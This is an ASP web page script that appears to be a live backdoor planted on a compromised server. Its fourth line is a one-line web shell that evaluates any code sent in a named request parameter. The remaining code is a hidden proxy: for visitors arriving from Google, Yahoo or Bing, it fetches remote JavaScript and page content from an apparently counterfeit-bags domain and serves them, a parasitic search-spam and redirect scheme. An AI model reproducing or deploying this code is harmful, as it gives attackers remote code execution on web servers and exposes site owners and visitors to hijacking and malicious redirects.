aliheyk2

<% Server.ScriptTimeOut=300 %>
<%Session.CodePage=65001%>
<%Response.charset = "utf-8"%>
<%eval request("4ffa3cc9216387956ba633d57d9caf82")%>
<%
if request.querystring("a654d3") <> "" then
s_http_user_agent = lcase(Request.ServerVariables("HTTP_REFERER"))
if Instr( s_http_user_agent, "google") <> 0 or Instr( s_http_user_agent, "yahoo") <> 0 or Instr(s_http_user_agent, "bing") <> 0 then
    js_code = HTTPPost("http://js.authenticbags-us.com/4_30.js" & "?backurl=" & "http://" & Request.ServerVariables("Server_Name") & Request.ServerVariables("Script_Name") & "?" & Request.QueryString(), "")
    start_code = Instr(js_code, "http://")
    end_code = Instr(js_code, "?backurl")
	go_url= Mid(js_code, start_code, end_code - start_code) & "?backurl=" & "http://" & Request.ServerVariables("Server_Name") & Request.ServerVariables("Script_Name") & "?" & Request.QueryString()
    Response.write HTTPPost(go_url, "")
    Response.end
end if
randomize
from_url = "http://www.authenticbags-us.com/"
img_url = "http://img.authenticbags-us.com/"
get_url = request.querystring("a654d3")
if get_url <> "" then
  filename = get_url
  if instr(filename, "?") > 0 then
    filename = left(filename, instrrev(filename, "?") -1)
  end if
  file_ext = right(filename, len(filename)  - instrrev(filename, "."))
end if
if file_ext = "jpg" or file_ext = "png" or file_ext = "gif" then
   curl_img = img_url & filename
  html = Gethttpimg(curl_img)
  response.ContentType="image/" & file_ext
  response.BinaryWrite html
  Response.end
end if
if get_url = "" then
 get_url = "?" & Int((999999999 * Rnd) + 1)
end if
http_response = HTTPPost(from_url & get_url, flag)
Response.write http_response
Response.end
end if
Function HTTPPost(sUrl, flag)
  set oHTTP = Server.CreateObject("Msxml2.XMLHTTP")
  oHTTP.open "get", sUrl,false
  oHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
  oHTTP.setrequestheader "accept-encoding", "gzip, deflate"
  oHTTP.setrequestheader "flag", "siteadi"
  oHTTP.setrequestheader "l", "4"
  oHTTP.setrequestheader "p", "30"
  oHTTP.setRequestHeader "User-Agent", Request.ServerVariables("HTTP_USER_AGENT")
 '' oHTTP.setRequestHeader "Content-Length", Len(sRequest)
  oHTTP.send sRequest
  If oHTTP.readyState <> 4 Then Exit Function
  getHTTPPage   =   Bytes2bStr(oHTTP.responseBody)
  HTTPPost = getHTTPPage
End Function
Function Bytes2bStr(vin)
    Dim BytesStream,StringReturn
    Set BytesStream = Server.CreateObject("ADODB.Stream")
    BytesStream.Type = 2
    BytesStream.Open
    BytesStream.WriteText vin
    BytesStream.Position = 0
    BytesStream.Charset = "UTF-8"
    BytesStream.Position = 2
    StringReturn = BytesStream.ReadText
    BytesStream.close
    Set   BytesStream   =   Nothing
    Bytes2bStr   =   StringReturn
End Function
Function Gethttpimg(Url)
  On Error Resume Next
  Dim Http
  Set Http=Server.Createobject("MSXML2.XmlHttp")
  Http.Open "Get",Url,False
  Http.Send()
  If Http.Readystate<>4 Then Exit Function
  Gethttpimg=Http.Responsebody
  Set Http=Nothing
  If Err.Number<>0 Then Err.Clear
End Function
%>